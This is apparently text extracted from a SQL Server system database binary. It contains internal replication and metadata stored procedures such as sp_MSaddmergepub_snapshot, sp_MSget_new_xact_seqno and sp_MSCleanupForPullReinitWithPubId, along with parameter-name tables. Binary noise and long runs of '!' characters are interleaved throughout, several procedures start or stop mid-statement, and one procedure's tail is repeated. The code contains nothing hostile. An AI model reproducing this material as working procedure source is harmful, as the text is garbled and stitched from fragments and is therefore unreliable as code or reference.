@handle6\dbid6\$encrypted6\number6\"objectid6\&query_plan6SBa6@expected_checksum6SBa6@expected_rowcount6SBa,@full_or_fast6SBa@owner6SBa.@rowcount_only6SBa0@shutdown_agent6SBa@table6SBa(@table_name6	z(@EndpointID6	z@Host6	z@IsSSL6	z*@QueryString6	z&@UserAgent6|	6buckets_avg_length6|
Hbuckets_avg_scan_hit_length6|Jbuckets_avg_scan_miss_length6|,buckets_count6|:buckets_in_use_count6|6buckets_max_length6|
@buckets_max_length_ever6|6buckets_min_length6|,cache_address6|&hits_count6|*misses_count6|name6|(table_level6|type6,database_name64group_database_id6"group_id62(create_date62name62$object_id622procedure_number62$schema_id62type6"@hidword6"@lodword6SBa	*@column_list6SBa
.@filter_clause6C}$@password6
3$@taskname6
3&@publisher6
3*@publisherdb6
3*@publication6c$$@filename6c$$@temp_dir6c$B@overwrite_existing_file6@type6 @length6@prec6@scale6$@nullable6H=/(@subscriber65 @job_id65"@step_id65@mode60@publisher_type6$@provider62_*@publication62_"@article62_&@trig_only62_&@usesqlclr6k(@request_id6=&@directory6=(@scriptfile6A:@name6A:@time6+,&@tablename6+,(@profile_id6L+@id6L+@mode67:.@source_schema67:*@source_name67:4@capture_instance67:0@filegroup_name6v.@source_schema6v*@source_name60&session_id60*phase_number60&entry_time60*error_number60.error_severity60(error_state60,error_message60$start_lsn60	$begin_lsn60
.sequence_value060@pubid6̐0@distributiondb6PD&@publisher6PD,@publisher_db6PD*@publication6PD(@subscriber6PD.@subscriber_db6W'"@pubname6W'$@filterid6W'$@procname6&@publisher6,@publisher_db6*@publication6:@alternate_publisher6@@alternate_publisher_db6>@alternate_publication6>@alternate_distributor6.@friendly_name6	$@reserved60$@procname6LI@name6LI8@destination_object6LI6@destination_owner6LI@artid6LI@pubid6LI<@pre_creation_command6LI @status6LI@type6cH@objid6cH"@newname6[W@objid6[W@type6[W*@permissions!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Z8*~LtB|T.jJ 2Nr2



v
L
&
NV 



n
&TF
(
				J		|pP>\ rbj
^(nJ0j2Bl$N6DfN~N@N d*:|L rDxD d2`<)$/$|v6.@geog6GJ$@col_type6GJ$@nullable6GJ"@ODBCVer6GJ@scope6GJ(@table_name6GJ*@table_owner6GJ2@table_qualifier6כY@cmd6כY @indent6a`"@grpname6a`$@loginame6a`(@name_in_db6Be&event_name6Be6event_package_guid6Be0event_predicate6Be<event_session_address6u @dbname6u,@script_entry6u@value6q=F@force_preserve_rowguidcol6q=>@ignore_merge_metadata6q=*@publication6q=&@publisher6q=,@publisher_db6t,@table_schema6t(@table_type6(@DatabaseId6(buffer_size6&cold_count6(database_id6"frequent6(occurrences62recovery_unit_id6&warm_count6"@Catalog6 @Column60@ConstraintName6@Owner6@Table6K$@loginame6*h"alert_id6*h4alert_instance_id6*h*component_id6*h<component_instance_id6*h(create_time6*h,current_value6*h(pdw_node_id6*h.previous_value6]T+6@current_principal6]T+"@db_name6?dE(@index_name6?dE(@table_name6?dE,@table_schema6G&bytes_used6G is_free6G.memory_address6Gname6G*percent_used6G pool_id6G$row_count6H*@assembly_id6H:@assembly_referenced6H2@assembly_schema6H"@catalog6H @server6k&catalog_id6k	<completed_range_count6k
0completion_type6kHcompletion_type_description6k(database_id6k<incremental_timestamp6k@is_clustered_index_scan6k.memory_address6k
@outstanding_batch_count6k0population_type6kHpopulation_type_description6k>queued_population_type6kVqueued_population_type_description6k(range_count6k&start_time6kstatus6k6status_description6k"table_id6k*worker_count65q*@column_name65q"@ODBCVer65q.@table_catalog65q(@table_name65q,@table_schema6Y(@subscriber6Y@type6Y@login6Y$@password6Y6@commit_batch_size6Y6@status_batch_size6Y2@flush_frequency6Y0@frequency_type6Y	8@frequency_interval6Y
J@frequency_relative_interval6YJ@frequency_recurrence_factor6Y4@frequency_subday6Y
F@frequency_subday_interval6YD@active_start_time_of_day6Y@@active_end_time_of_day6Y6@active_start_date6Y2@active_end_date6Y*@description6Y.@security_mode6Y&@publisher6*@publication6&@publisher60@publisher_type6G@value6G8@ignore_distributor6G*@from_backup6J@objid6Q*@publication6Q"@article6Q*@fautogen_id6Q@alter6p*@publication6p(@request_id6y*@publication6y&@publisher6U&@publisher6U,@publisher_db6U*@publication6U(@subscriber6U.@subscriber_db6U6@subscription_type6fv,@publisher_id6fv&@publisher6fv,@publisher_db6fv*@publication6fv(@subscriber6fv.@subscriber_db6fv6@subscription_type6fv&@sync_type6fv	 @status6fv
*@description6fv@subid6fv8@subscriber_version6Hi&@publisher6Hi,@publisher_db6Hi*@publication65&@publisher65,@publisher_db65*@publication65(@subscriber65.@subscriber_db6z8@original_publisher6z<@redirected_publisher6z&@pubdbname6zB@publisher_linked_server6n?0@primary_server6n?4@primary_database6t)f2@pollinginterval6t)f(@continuous6t)f$@maxscans6t)f$@maxtrans602R$@job_type60"@genlist600@gendeclarelist60.@genselectlist60,@genunionlist6R*@publication6R"@article6R(@base_objid6R(@join_objid6R*@join_unique6R6@join_filterclause6
@repid6
 @srcgen6
"@srcguid6&@tablename6&@indexname^6p:

x
:
Th8

F:h`|$h

b
(
				v	H	(		d.nH,h8DvT,0blBNt6bDx@,RJ$vrxNV0f>"V,|:rLFh`	
<^o;OmA0\3@ O8
create procedure sys.sp_usertypes_rowset_rmt
(
    @type_server       sysname,
    @type_catalog      sysname = null,
    @type_name  sysname = null,
    @type_schema        sysname = null,
    @assembly_id    int = null
)
as
    select
        UDT_CATALOG_NAME,
        UDT_SCHEMA_NAME,
        UDT_NAME,
        UDT_ASSEMBLY_ID,
        MAX_BYTE_SIZE,
        IS_FIXED_LENGTH,
        IS_BINARY_ORDERED,
        BOUND_CLASS_NAME,
        PROG_ID
    from
        -- ISSUE - below pseudo-function is not exposed by metadata code!
        sys.fn_remote_usertypes (@type_server,
                                 @type_catalog,
                                 @type_name,
                                 @type_schema,
                                 @assembly_id)
    order by 1, 2, 3
0gHB@ 8create procedure sys.sp_MSaddmergepub_snapshot (
    @publication            sysname,    
    @freqtype               int = 4 ,            /* 4== Daily */
    @freqinterval           int = 1,            /* Every day */
    @freqsubtype            int = 4,            /* Sub interval = Minute */
    @freqsubinterval        int = 5,            /* Every five minutes */
    @freqrelativeinterval   int = 1, 
    @freqrecurrencefactor   int = 0, 
    @activestartdate        int = 0,            /* 12:00 am - 11:59 pm */
    @activeenddate          int = 99991231 ,    /* No start date */ 
    @activestarttimeofday   int = 0,        
    @activeendtimeofday     int = 235959,        /* No end time */                
    @newtaskid              int = 0 OUTPUT,
    @snapshot_job_name      nvarchar(100) = null,
    @publisher_security_mode int = null,
    @publisher_login         sysname = null,
    @publisher_password      sysname = null,
    @job_login               nvarchar(257) = null,
    @job_password            sysname = null
) AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @retcode                int
    declare @distributor            sysname
    declare @dist_rpcname           sysname
    declare @distribdb              sysname
    declare @distproc               nvarchar(300)
    declare @database               sysname
    declare @newid                  int
    declare @fFoundPublication      int
    declare @task_args              nvarchar(4000)
    declare @pubid                  uniqueidentifier
    declare @snapshot_jobid         binary(16)
    declare @job_existing           bit
    				,@publishingservername sysname

    /*
    ** Initializations
    */
    select @fFoundPublication    = 0 
    			,@publishingservername = publishingservername()
    if (@snapshot_job_name is null) or (@snapshot_job_name = N'')
    begin
        select @job_existing = 0
    end
    else
    begin
        select @job_existing = 1
    end

    EXEC @retcode = sys.sp_helpmergepublication @publication, @fFoundPublication output, @pubid output

    if @@ERROR <> 0 OR @retcode <> 0
    BEGIN
        RETURN (1)
    END

    /* If the publication does not exist return error */
    if @fFoundPublication = 0 
    BEGIN
        RAISERROR (21040, 11, -1, @publication)
        RETURN (1)
    END

    /*
    ** Get distributor information
    */
    EXEC @retcode = sys.sp_helpdistributor @distributor = @distributor OUTPUT, 
        @distribdb = @distribdb OUTPUT,
        @rpcsrvname = @dist_rpcname OUTPUT 
        if @@error <> 0 OR @retcode <> 0 or @distributor IS NULL OR @distribdb IS NULL
        BEGIN
            RAISERROR (14071, 16, -1)
            RETURN (1)
        END

    select @database = DB_NAME()

    /* 
    ** Make sure the publication does not already have a task.
    */
    if EXISTS (select * FROM dbo.sysmergepublications WHERE pubid = @pubid and snapshot_jobid IS NOT NULL)
    BEGIN
        declare @valid_agent_exists bit
        select @valid_agent_exists = 0
        
        -- check if the agent really exists on the distributor
        SELECT @distproc = RTRIM(@dist_rpcname) + '.' + QUOTENAME(@distribdb) + '.dbo.sp_MScheck_snapshot_agent'
        
        EXECUTE @retcode = @distproc 
            @publisher = @publishingservername,
            @publisher_db = @database,
            @publication = @publication,
            @valid_agent_exists = @valid_agent_exists output

        if @valid_agent_exists = 0
        begin
            update dbo.sysmergepublications set snapshot_jobid = NULL where pubid = @pubid
            if @@error<>0 return 1
        end
        else
        begin
            RAISERROR (14101, 11, -1, @publication)
            RETURN(1)
        end
    END


    select @task_args = '-Publisher ' + QUOTENAME(publishingservername())
    select @task_args = @task_args + ' -PublisherDB ' + QUOTENAME(@database)
    select @task_args = @task_args + ' -Distributor ' + QUOTENAME(@distributor)
    select @task_args = @task_args + ' -Publication ' + QUOTENAME(@publication)
    select @task_args = @task_args + ' -ReplicationType 2'

    /* 
    ** Create task on distributor
    */
    SELECT @distproc = RTRIM(@dist_rpcname) + '.' + QUOTENAME(@distribdb) + '.dbo.sp_MSadd_snapshot_agent'

    EXECUTE @retcode = @distproc 
        @name = @snapshot_job_name,
        @publisher = @publishingservername,
        @publisher_db = @database,
        @publication = @publication,  
        @publication_type = 2,            -- Merge type
        @local_job = 1,     
        @freqtype = @freqtype, 
        @freqinterval = @freqinterval, 
        @freqsubtype = @freqsubtype, 
        @freqsubinterval = @freqsubinterval, 
        @freqrelativeinterval = @freqrelativeinterval, 
        @freqrecurrencefactor = @freqrecurrencefactor, 
        @activestartdate = @activestartdate,
        @activeenddate =@activeenddate ,         
        @activestarttimeofday = @activestarttimeofday,           
        @activeendtimeofday = @activeendtimeofday,       
        @command = @task_args, 
        @snapshot_jobid = @snapshot_jobid OUTPUT,
        @job_existing = @job_existing,
        @publisher_security_mode = @publisher_security_mode,
        @publisher_login = @publisher_login,
        @publisher_password = @publisher_password,
        @job_login = @job_login,
        @job_password = @job_password,
        @internal = N'YUKON'

   if @@ERROR <> 0 or @retcode <> 0
        RETURN(1)
    
    SELECT @newtaskid = 1

    UPDATE dbo.sysmergepublications set snapshot_jobid = @snapshot_jobid WHERE pubid = @pubid

    if @@ERROR <> 0 
        RETURN(1)
            
    return (0)
ot support disallowing initialize from a backup. Please change the 'allow_initialize_from_backup' parameter value.
		RAISERROR(20646, 16, -1, 'disallowing initialize from a backup', 'allow_initialize_from_backup')
		RETURN 1
	END

	RETURN 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!S
k
Sfd	E`'	<
p0c 8CREATE FUNCTION sys.dm_logpoolmgr_respoolsize
	(
	@DatabaseId Int = 0
	)
RETURNS TABLE
as
	RETURN SELECT * FROM OpenRowset(TABLE DM_LOGPOOLMGR_RESPOOLSIZE, @DatabaseId)
0 <8
create procedure sys.sp_procedures_rowset2
(
    @procedure_schema   sysname = null
)
as
    select
        PROCEDURE_CATALOG       = db_name(),
        PROCEDURE_SCHEMA        = schema_name(pro.schema_id),
        PROCEDURE_NAME          = convert(nvarchar(134),pro.name +';'+ ltrim(str(pro.procedure_number,5))),
        PROCEDURE_TYPE          = convert(smallint, 3), -- DB_PT_FUNCTION
        PROCEDURE_DEFINITION    = convert(nvarchar(1),null),
        DESCRIPTION             = convert(nvarchar(1),null),
        DATE_CREATED            = pro.create_date,
        DATE_MODIFIED           = convert(datetime,null)
    from
        sys.spt_all_procedures pro
    where
        (@procedure_schema is null or schema_id(@procedure_schema) = pro.schema_id)
    order by 2, 3
0e@ 8CREATE PROCEDURE sys.sp_createtranpalrole 
(
    @publication sysname
    ,@publisher sysname = NULL -- for hrepl publications
)
AS
BEGIN
    set nocount on
    declare @retcode int

    -- security check done in here
    exec @retcode = sys.sp_createpalrole @publication = @publication, @mode = 1, @publisher = @publisher
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
END
01 x	8CREATE PROCEDURE sys.sp_MSget_new_xact_seqno
(
    @publisher_id int,
    @publisher_db sysname,
    @len    tinyint
)
AS
begin
    declare @new_xact_seqno varbinary(16)
    declare @old_xact_seqno varbinary(16)
    declare @tag int
    declare @datalen tinyint
    declare @publisher_database_id int

    set nocount on 
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

	select @old_xact_seqno = NULL

	-- Get publisher database id.
	SELECT @publisher_database_id = id from MSpublisher_databases where publisher_id = @publisher_id and 
		publisher_db = @publisher_db

	select TOP(1) @old_xact_seqno = rt.xact_seqno
		from
		-- Prevent inserts
		MSrepl_transactions rt with (HOLDLOCK PAGLOCK UPDLOCK)
		where 
			rt.publisher_database_id = @publisher_database_id 
			order by xact_seqno desc

	if @old_xact_seqno IS NULL
	begin
		/* if nothing got selected, lock the entire table 
		** Don't return meta data !!
		*/
		select @old_xact_seqno = rt.xact_seqno
			from
			MSrepl_transactions rt with (HOLDLOCK TABLOCKX)
			where 0 = 1

		select @old_xact_seqno = subscription_seqno from dbo.MSsubscriptions 
		where
			publisher_database_id = @publisher_database_id and
			subscription_seqno = (select MAX(subscription_seqno) from dbo.MSsubscriptions rs2
			where
				rs2.publisher_database_id = @publisher_database_id)
	end

	select @datalen = datalength(@old_xact_seqno)
	/* Plus one to the tag */
	if @datalen = @len
	begin
		select @tag = convert( int, convert( binary(4), substring( convert( nvarchar, @old_xact_seqno ), @datalen/2 - 2 + 1,2 ) ) )
	    
		if @tag = 0xffffffff
		begin
			raiserror(21018, 16, -1)
			return(1)
		end
		/* avoid arithmatic overflow */
		if @tag = 0x7fffffff
			select @tag = 0x80000000
		else 
			select @tag = @tag + 1

		select @new_xact_seqno = 
		convert( varbinary, substring( convert(nvarchar, @old_xact_seqno), 1, @datalen/2-2)) +
		convert( VARBINARY(4), @tag )

	end
	/* Add a tag */
	else
	begin
		if @datalen + 4 <> @len
		begin
			-- We are in trouble if we reach here.
			return(1)
		end
		select @tag = 1
		select @new_xact_seqno = 
			@old_xact_seqno + CONVERT(VARBINARY(4), @tag) 
	end

	select @new_xact_seqno
end
0[{@ }8create procedure sys.sp_MScheck_logicalrecord_metadatamatch
    (@metadata_type tinyint, 
     @parent_nickname int,
     @parent_rowguid uniqueidentifier,
     @logical_record_lineage varbinary(311),
     @pubid uniqueidentifier)
as
    declare @match int, @existing_lineage varbinary(311), @retcode int, @sel_proc nvarchar(255)
    
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid 
    if (@retcode <> 0) or (@@error <> 0)
        return 1
        
    select @match = 0, @existing_lineage = NULL
    
    if @metadata_type = 3
    begin
            --lock the parent row
            select @sel_proc = 'dbo.' + select_proc from dbo.sysmergearticles 
                    where pubid = @pubid and nickname = @parent_nickname
            exec @retcode = @sel_proc @maxschemaguidforarticle = NULL, @type = 8, @rowguid=@parent_rowguid
            if @@error <> 0 or @retcode <> 0
                    return 1
    end
    
    select @existing_lineage = logical_record_lineage 
    from dbo.MSmerge_contents with (updlock) 
    where tablenick = @parent_nickname 
    and rowguid =  @parent_rowguid 
            
    if @existing_lineage = @logical_record_lineage and @metadata_type = 2
    begin
                select @match = 1
        end
    else if @existing_lineage is null
    begin      
                select @existing_lineage = logical_record_lineage 
                from dbo.MSmerge_tombstone with (updlock) 
                where tablenick = @parent_nickname 
                and rowguid = @parent_rowguid 
            
        if @existing_lineage = @logical_record_lineage and @metadata_type in (1,5,6)
                begin
                        select @match = 1
                end
                else if @existing_lineage is null
                begin
            if @metadata_type in (0,3)
            begin
                                select @match = 1
                        end
                end
        end
   
    if (@match = 0)
    begin
                raiserror(22521, 16, -1)
                return 1
        end
    return 0
 xact_seqno desc

	if @old_xact_seqno IS NULL
	begin
		/* if nothing got selected, lock the entire table 
		** Don't return meta data !!
		*/
		select @old_xact_seqno = rt.xact_seqno
			from
			MSrepl_transactions rt with (HOLDLOCK TABLOCKX)
			where 0 = 1

		select @old_xact_seqno = subscription_seqno from dbo.MSsubscriptions 
		where
			publisher_database_id = @publisher_database_id and
			subscription_seqno = (select MAX(subscription_seqno) from dbo.MSsubscriptions rs2
			where
				rs2.publisher_database_id = @publisher_database_id)
	end

	select @datalen = datalength(@old_xact_seqno)
	/* Plus one to the tag */
	if @datalen = @len
	begin
		select @tag = convert( int, convert( binary(4), substring( convert( nvarchar, @old_xact_seqno ), @datalen/2 - 2 + 1,2 ) ) )
	    
		if @tag = 0xffffffff
		begin
			raiserror(21018, 16, -1)
			return(1)
		end
		/* avoid arithmatic overflow */
		if @tag = 0x7fffffff
			select @tag = 0x80000000
		else 
			select @tag = @tag + 1

		select @new_xact_seqno = 
		convert( varbinary, substring( convert(nvarchar, @old_xact_seqno), 1, @datalen/2-2)) +
		convert( VARBINARY(4), @tag )

	end
	/* Add a tag */
	else
	begin
		if @datalen + 4 <> @len
		begin
			-- We are in trouble if we reach here.
			return(1)
		end
		select @tag = 1
		select @new_xact_seqno = 
			@old_xact_seqno + CONVERT(VARBINARY(4), @tag) 
	end

	select @new_xact_seqno
end
 COLUMNPROPERTY(sa.objid, sc.name, 'IsIdentity') = 1 
                        and COLUMNPROPERTY(sa.objid, sc.name, 'IsIdNotForRepl') = 0 
                        and (@mode = @modescriptforsynctranproc 
                                or (@mode = @modescriptforcustomcmdproc  
                                    and (cast(@schema_option as int) & 0x4) != 0 )))
        begin
            select @identity_insert = 1
        end
    end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	0l`\
'<SJ4Y0m@ 8create procedure sys.sp_MSCleanupForPullReinitWithPubId (
    @pubid uniqueidentifier
    ) AS
    declare @retcode smallint
    declare @truncate smallint
    declare @artid uniqueidentifier
    
    begin transaction
    save tran cleanupforreinit

    -- Truncate if this is the only publication
    if object_id('MSmerge_rowtrack', 'U') is not NULL and 
        exists (select * from dbo.sysmergesubscriptions where pubid = @pubid and subscription_type = 3) -- light weight subscription
    begin
        if not exists (select top 1 * from dbo.sysmergesubscriptions 
                        where pubid <> @pubid and
                              status <> 7) -- REPLICA_STATUS_BeforeRestore
        begin
            truncate table dbo.MSmerge_rowtrack
            if @@error <> 0    goto Error        
        end
        else if exists (select top 1 * from dbo.sysmergesubscriptions 
                        where pubid = @pubid and
                              status <> 7) -- REPLICA_STATUS_BeforeRestore
        begin
            delete from dbo.MSmerge_rowtrack where tablenick in 
                (select nickname from dbo.sysmergearticles where pubid = @pubid)
            if @@error <> 0    goto Error        
        end

        -- reset watermarks
        update dbo.sysmergesubscriptions set recgen = NULL, recguid = NULL, sentgen = NULL, sentguid = NULL, schemaversion = NULL, schemaguid = NULL
        where pubid = @pubid
        if @@ERROR<>0 
            goto Error
        -- make sure we don't falsely use transitive recgen optimization
        update dbo.sysmergesubscriptions
            set replicastate= newid() where pubid=@pubid
        if @@error<>0 goto Error
    end
    else
    begin
        /* 
        ** Make sure you NULL out gen_cur for other articles that share this table 
        ** since we are deleting the genhistroy row for that generation 
        */
        update dbo.sysmergearticles set gen_cur=NULL where gen_cur in
            (select generation from dbo.MSmerge_genhistory where pubid = @pubid)
        if @@ERROR<>0 
            goto Error

        /*
        ** if the subscription for the given pubid is the last subscription (including pub subscribed to itself)
        ** then instead of expensive delete operations do a truncate table
        */
        if not exists (select * from dbo.sysmergesubscriptions where pubid<>@pubid and (sys.fn_MSmerge_islocalsubid(subid) = 1))
        begin
            truncate table dbo.MSmerge_genhistory
            if @@ERROR<>0
                goto Error
            truncate table dbo.sysmergesubsetfilters
            if @@ERROR<>0
                goto Error
            truncate table dbo.sysmergeschemachange
            if @@ERROR<>0
                goto Error        
            truncate table dbo.MSmerge_current_partition_mappings
            if @@ERROR<>0
                goto Error        
            truncate table dbo.MSmerge_past_partition_mappings
            if @@ERROR<>0
                goto Error        
            truncate table dbo.MSmerge_generation_partition_mappings
            if @@ERROR<>0
                goto Error        
            truncate table dbo.MSmerge_contents
            if @@ERROR<>0
                goto Error        
            truncate table dbo.MSmerge_tombstone
            if @@ERROR<>0
                goto Error
            truncate table dbo.MSmerge_metadataaction_request
            if @@ERROR<>0 goto Error    
            exec @retcode= sys.sp_MSdrop_tempgenhistorytable @pubid
            if @@error<>0 or @retcode<>0 goto Error            
        end
        else
        begin    
            declare @publication_number smallint
            select @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid
            
            delete from dbo.MSmerge_genhistory where pubid = @pubid
            if @@ERROR<>0 
                goto Error
            delete from dbo.sysmergesubsetfilters where pubid=@pubid
            if @@ERROR<>0 
                goto Error
            delete from dbo.sysmergeschemachange where pubid = @pubid
            if @@ERROR<>0 
                goto Error
            delete from dbo.MSmerge_current_partition_mappings where publication_number = @publication_number
            if @@ERROR<>0 
                goto Error
            delete from dbo.MSmerge_past_partition_mappings where publication_number = @publication_number
            if @@ERROR<>0 
                goto Error
            delete from dbo.MSmerge_generation_partition_mappings where publication_number = @publication_number
            if @@ERROR<>0 
                goto Error
            delete from dbo.MSmerge_contents where tablenick in (select nickname from dbo.sysmergearticles where pubid=@pubid)
            if @@ERROR<>0 
                goto Error
            delete from dbo.MSmerge_tombstone where tablenick in (select nickname from dbo.sysmergearticles where pubid=@pubid)
            if @@ERROR<>0 
                goto Error
            exec @retcode= sys.sp_MSdrop_tempgenhistorytable @pubid
            if @@error<>0 or @retcode<>0 
                goto Error                
        end
    
        update dbo.sysmergesubscriptions set recgen = NULL, recguid = NULL, sentgen = NULL, sentguid = NULL, schemaversion = NULL, schemaguid = NULL 
                where pubid = @pubid
        if @@ERROR<>0 
            goto Error
        -- make sure we don't falsely use transitive recgen optimization
        update dbo.sysmergesubscriptions
            set replicastate= newid() where pubid=@pubid
        if @@error<>0 goto Error

        /* Watermarks wrt to alternate publisher must also be reset */
        exec @retcode= sys.sp_MSresetwatermarksforalternatepublishers @pubid = @pubid
        if @@error<>0 or @retcode<>0 goto Error

        /* Clean up any logical record views */
        exec @retcode = sys.sp_MSreset_logical_record_views @pubid = @pubid
        if @@error<>0 or @retcode<>0 goto Error
           
        /* Clean up the articles for this publication, and delete the row */
        select @artid = artid FROM dbo.sysmergearticles WHERE pubid = @pubid
        while @artid is not null
        begin
            if not exists (select * from dbo.sysmergearticles WHERE artid = @artid and pubid <> @pubid)
            begin
                exec @retcode=sys.sp_MSarticlecleanup @pubid, @artid, 1, 1
                if @retcode<>0 or @@ERROR<>0 
                begin
                    goto Error
                end
            end
            delete from dbo.sysmergepartitioninfo where artid = @artid and pubid = @pubid
            delete from dbo.sysmergearticles where artid = @artid and pubid = @pubid
            set @artid = NULL
            select @artid = artid FROM dbo.sysmergearticles WHERE pubid = @pubid
        end
        
        if not exists (select * from dbo.sysmergearticles)
        begin
			execute @retcode=sys.sp_MSrepl_ddl_triggers @type='merge', @mode='drop'
			if @@ERROR <> 0 or @retcode <> 0 goto Error
		end
    end
            
    commit tran 

    return (0)

Error:
    rollback tran cleanupforreinit
    commit tran 
    return (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<JFlv0ә D8t8h10Cʫ@ 8create procedure sys.sp_create_plan_guide
	@name sysname,
	@stmt nvarchar(max) = NULL,
	@type nvarchar(60),
	@module_or_batch nvarchar(max) = NULL,
	@params nvarchar(max) = NULL,
	@hints nvarchar(max) = NULL
as
BEGIN TRANSACTION

if( lower(@type) = 'object')
begin
	declare @module nvarchar(4000)
	set @module = convert(nvarchar(4000), @module_or_batch)
	EXEC %%PlanGuide(Name = @name).CreateAndFireTrigger(Value = @name, Value = @stmt, Value = @type, 
		Value = @module, Value = @params, Value = @hints)
end
else
begin
	EXEC %%PlanGuide(Name = @name).CreateAndFireTrigger(Value = @name, Value = @stmt, Value = @type, 
		Value = @module_or_batch, Value = @params, Value = @hints)
end

COMMIT TRANSACTION
00@ 8-- This proc caches agent profile paramaters on the subscriber database
create procedure sys.sp_MScache_agent_parameter(
    @profile_name           sysname,
    @parameter_name         sysname,
    @parameter_value        nvarchar(255)
)AS
    declare @slash_parameter_name sysname
    declare @dash_parameter_name sysname
    declare @retcode int

    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0
    begin
        return(1)
    end
	
    select @parameter_name = LTRIM(RTRIM(@parameter_name))
    select @parameter_value = LTRIM(RTRIM(@parameter_value))

    -- Append leading '-' when not given
    if (substring(@parameter_name, 1, 1) <> '/' and 
        substring(@parameter_name, 1, 1) <> '-')
    BEGIN
        select @parameter_name = N'-' + @parameter_name
    END

    select @slash_parameter_name = lower(stuff(@parameter_name, 1, 1, N'/') collate SQL_Latin1_General_CP1_CS_AS)
    select @dash_parameter_name = lower(stuff(@parameter_name, 1, 1, N'-') collate SQL_Latin1_General_CP1_CS_AS)

    IF exists ( select * from dbo.MSmerge_agent_parameters 
            where profile_name = @profile_name and 
                (lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS) = @slash_parameter_name collate SQL_Latin1_General_CP1_CS_AS or
